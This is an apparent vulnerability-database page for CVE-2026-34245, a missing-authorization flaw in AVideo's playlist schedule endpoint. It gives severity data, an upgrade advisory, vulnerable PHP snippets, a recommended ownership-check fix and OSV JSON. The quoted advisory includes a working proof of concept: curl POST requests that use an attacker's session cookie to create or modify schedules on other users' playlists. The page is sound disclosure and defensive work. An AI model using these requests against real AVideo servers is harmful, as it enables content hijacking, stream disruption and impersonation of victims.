CVE-2026-34245: AVideo Missing Authorization Vulnerability

MODERATE
Advisory Identifier: GHSA-2rm7-j397-3fqg
CVSS 6.3
CWE-862
Published
Advisory Summary

CVE-2026-34245 is a MODERATE (CVSS 6.3) missing authorization vulnerability (CWE-862: Missing Authorization) affecting AVideo libraries in the Packagist ecosystem. The issue involves missing authorization in playlist schedule creation allows cross-user broadcast hijacking. Remediation is available in the latest vendor maintenance releases.

CVE-2026-34245 at a Glance

CVE Identifier CVE-2026-34245
GHSA Identifier GHSA-2rm7-j397-3fqg
Severity MODERATE
CVSS v3.1 Base Score 6.3
CWE Classification CWE-862: Missing Authorization
Affected Product AVideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2026-34245

To remediate this vulnerability, upgrade all affected AVideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34245, inspect your project dependencies for AVideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of AVideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In AVideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `plugin/PlayLists/View/Playlists_schedules/add.json.php` endpoint allows any authenticated user with streaming permission to create or modify broadcast schedules targeting any playlist on the platform, regardless of ownership. When the schedule executes, the rebroadcast runs under the victim playlist owner's identity, allowing content hijacking and stream disruption. ## Details The endpoint at `plugin/PlayLists/View/Playlists_schedules/add.json.php` performs only a capability check, not an ownership check: ```php // add.json.php:14 — only checks if user CAN stream, not if they OWN the playlist if (!User::canStream()) { forbiddenPage(__("You cannot livestream")); } // Line 18-19: attacker-controlled playlists_id is used directly $o = new Playlists_schedules(@$_POST['id']); $o->setPlaylists_id($_POST['playlists_id']); ``` The `Playlists_schedules::save()` method (line 182) only validates that `playlists_id` is non-empty — no ownership check: ```php public function save() { if(empty($this->playlists_id)){ _error_log("Playlists_schedules::save playlists_id is empty"); return false; } // ... return parent::save(); } ``` When the schedule triggers via `plugin/PlayLists/run.php`, the rebroadcast executes under the **playlist owner's** user ID, not the schedule creator's: ```php // run.php:55 — uses playlist owner's ID $pl = new PlayList($ps->playlists_id); $response = Rebroadcaster::rebroadcastVideo( $ps->current_videos_id, $pl->getUsers_id(), // <-- victim's user ID Playlists_schedules::getPlayListScheduledIndex($value['id']), $title ); ``` By contrast, all other playlist modification endpoints properly verify ownership via `PlayLists::canManagePlaylist()`: ```php // PlayLists.php:55-68 static function canManagePlaylist($playlists_id) { if (!User::isLogged()) return false; if (self::canManageAllPlaylists()) return true; $pl = new PlayList($playlists_id); if ($pl->getUsers_id() == User::getId()) return true; return false; } ``` This check is used in `saveShowOnTV.json.php:43`, `playListToSerie.php:24`, and `getPlaylistButtons.php:34`, but is entirely absent from `add.json.php`. Additionally, the `delete.json.php` endpoint requires `User::isAdmin()` (line 11), making the disparity with `add.json.php` even clearer. When providing an existing schedule `id` via POST (line 18), no ownership check is performed on the existing schedule record either, allowing modification of any schedule on the platform. ## PoC ```bash # Step 1: Authenticate as a normal user with streaming permission # Obtain PHPSESSID via login # Step 2: Create a broadcast schedule targeting another user's playlist # Replace VICTIM_PLAYLIST_ID with the target playlist ID (enumerable via API) curl -X POST 'https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php' \ -H 'Cookie: PHPSESSID=<attacker_session>' \ -d 'playlists_id=<VICTIM_PLAYLIST_ID>&name=hijacked&start_datetime=2026-03-26+12:00:00&finish_datetime=2026-03-27+12:00:00&loop=1&repeat=d&parameters={}' # Expected: {"error":false} — schedule created for victim's playlist # The schedule will execute via run.php under the victim's user identity # Step 3: Modify an existing schedule by providing its id curl -X POST 'https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php' \ -H 'Cookie: PHPSESSID=<attacker_session>' \ -d 'id=<EXISTING_SCHEDULE_ID>&playlists_id=<VICTIM_PLAYLIST_ID>&name=modified&start_datetime=2026-03-26+00:00:00&finish_datetime=2026-03-28+00:00:00&loop=1&repeat=d&parameters={}' ``` ## Impact - **Content hijacking:** Attacker can force-broadcast content from any user's playlist, including private or paid content - **Stream disruption:** Scheduled rebroadcast can interfere with a victim's ongoing live streams - **Identity abuse:** Rebroadcast executes under the victim's user identity, making it appear the victim initiated the broadcast - **Resource consumption:** Scheduled broadcasts consume the victim's server bandwidth allocation - **Schedule tampering:** Existing schedules can be modified or redirected by any streaming user ## Recommended Fix Add ownership validation in `add.json.php` before saving: ```php // After line 16 (canStream check), add: $playlists_id = intval($_POST['playlists_id']); if (!PlayLists::canManagePlaylist($playlists_id)) { forbiddenPage(__("You cannot manage this playlist")); } // When editing existing schedules, also verify ownership of the existing record: if (!empty($_POST['id'])) { $existing = new Playlists_schedules(intval($_POST['id'])); if (!PlayLists::canManagePlaylist($existing->getPlaylists_id())) { forbiddenPage(__("You cannot modify this schedule")); } } ```

CVE-2026-34245 Affected AVideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 26.0

References

Frequently Asked Questions

What is CVE-2026-34245?
CVE-2026-34245 is a security vulnerability in AVideo involving Missing Authorization in Playlist Schedule Creation Allows Cross-User Broadcast Hijacking under CWE-862: Missing Authorization.
Which AVideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-34245?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-34245?
CVE-2026-34245 has a CVSS v3.1 base score of 6.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L.
What CWE is associated with CVE-2026-34245?
CVE-2026-34245 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Packagist dependencies for CVE-2026-34245?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2rm7-j397-3fqg",
  "modified" : "2026-03-29T15:41:33Z",
  "published" : "2026-03-29T15:41:33Z",
  "aliases" : [ "CVE-2026-34245" ],
  "summary" : "AVideo: Missing Authorization in Playlist Schedule Creation Allows Cross-User Broadcast Hijacking",
  "details" : "## Summary\n\nThe `plugin/PlayLists/View/Playlists_schedules/add.json.php` endpoint allows any authenticated user with streaming permission to create or modify broadcast schedules targeting any playlist on the platform, regardless of ownership. When the schedule executes, the rebroadcast runs under the victim playlist owner's identity, allowing content hijacking and stream disruption.\n\n## Details\n\nThe endpoint at `plugin/PlayLists/View/Playlists_schedules/add.json.php` performs only a capability check, not an ownership check:\n\n```php\n// add.json.php:14 — only checks if user CAN stream, not if they OWN the playlist\nif (!User::canStream()) {\n    forbiddenPage(__(\"You cannot livestream\"));\n}\n\n// Line 18-19: attacker-controlled playlists_id is used directly\n$o = new Playlists_schedules(@$_POST['id']);\n$o->setPlaylists_id($_POST['playlists_id']);\n```\n\nThe `Playlists_schedules::save()` method (line 182) only validates that `playlists_id` is non-empty — no ownership check:\n\n```php\npublic function save()\n{\n    if(empty($this->playlists_id)){\n        _error_log(\"Playlists_schedules::save playlists_id is empty\");\n        return false;\n    }\n    // ...\n    return parent::save();\n}\n```\n\nWhen the schedule triggers via `plugin/PlayLists/run.php`, the rebroadcast executes under the **playlist owner's** user ID, not the schedule creator's:\n\n```php\n// run.php:55 — uses playlist owner's ID\n$pl = new PlayList($ps->playlists_id);\n$response = Rebroadcaster::rebroadcastVideo(\n    $ps->current_videos_id,\n    $pl->getUsers_id(),  // <-- victim's user ID\n    Playlists_schedules::getPlayListScheduledIndex($value['id']),\n    $title\n);\n```\n\nBy contrast, all other playlist modification endpoints properly verify ownership via `PlayLists::canManagePlaylist()`:\n\n```php\n// PlayLists.php:55-68\nstatic function canManagePlaylist($playlists_id)\n{\n    if (!User::isLogged()) return false;\n    if (self::canManageAllPlaylists()) return true;\n    $pl = new PlayList($playlists_id);\n    if ($pl->getUsers_id() == User::getId()) return true;\n    return false;\n}\n```\n\nThis check is used in `saveShowOnTV.json.php:43`, `playListToSerie.php:24`, and `getPlaylistButtons.php:34`, but is entirely absent from `add.json.php`.\n\nAdditionally, the `delete.json.php` endpoint requires `User::isAdmin()` (line 11), making the disparity with `add.json.php` even clearer.\n\nWhen providing an existing schedule `id` via POST (line 18), no ownership check is performed on the existing schedule record either, allowing modification of any schedule on the platform.\n\n## PoC\n\n```bash\n# Step 1: Authenticate as a normal user with streaming permission\n# Obtain PHPSESSID via login\n\n# Step 2: Create a broadcast schedule targeting another user's playlist\n# Replace VICTIM_PLAYLIST_ID with the target playlist ID (enumerable via API)\ncurl -X POST 'https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php' \\\n  -H 'Cookie: PHPSESSID=<attacker_session>' \\\n  -d 'playlists_id=<VICTIM_PLAYLIST_ID>&name=hijacked&start_datetime=2026-03-26+12:00:00&finish_datetime=2026-03-27+12:00:00&loop=1&repeat=d&parameters={}'\n\n# Expected: {\"error\":false} — schedule created for victim's playlist\n# The schedule will execute via run.php under the victim's user identity\n\n# Step 3: Modify an existing schedule by providing its id\ncurl -X POST 'https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php' \\\n  -H 'Cookie: PHPSESSID=<attacker_session>' \\\n  -d 'id=<EXISTING_SCHEDULE_ID>&playlists_id=<VICTIM_PLAYLIST_ID>&name=modified&start_datetime=2026-03-26+00:00:00&finish_datetime=2026-03-28+00:00:00&loop=1&repeat=d&parameters={}'\n```\n\n## Impact\n\n- **Content hijacking:** Attacker can force-broadcast content from any user's playlist, including private or paid content\n- **Stream disruption:** Scheduled rebroadcast can interfere with a victim's ongoing live streams\n- **Identity abuse:** Rebroadcast executes under the victim's user identity, making it appear the victim initiated the broadcast\n- **Resource consumption:** Scheduled broadcasts consume the victim's server bandwidth allocation\n- **Schedule tampering:** Existing schedules can be modified or redirected by any streaming user\n\n## Recommended Fix\n\nAdd ownership validation in `add.json.php` before saving:\n\n```php\n// After line 16 (canStream check), add:\n$playlists_id = intval($_POST['playlists_id']);\nif (!PlayLists::canManagePlaylist($playlists_id)) {\n    forbiddenPage(__(\"You cannot manage this playlist\"));\n}\n\n// When editing existing schedules, also verify ownership of the existing record:\nif (!empty($_POST['id'])) {\n    $existing = new Playlists_schedules(intval($_POST['id']));\n    if (!PlayLists::canManagePlaylist($existing->getPlaylists_id())) {\n        forbiddenPage(__(\"You cannot modify this schedule\"));\n    }\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-2rm7-j397-3fqg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34245"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/1e6dc20172de986f60641eb4fdb4090f079ffdce"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-29T15:41:33Z",
    "nvd_published_at" : "2026-03-27T17:16:30Z"
  }
}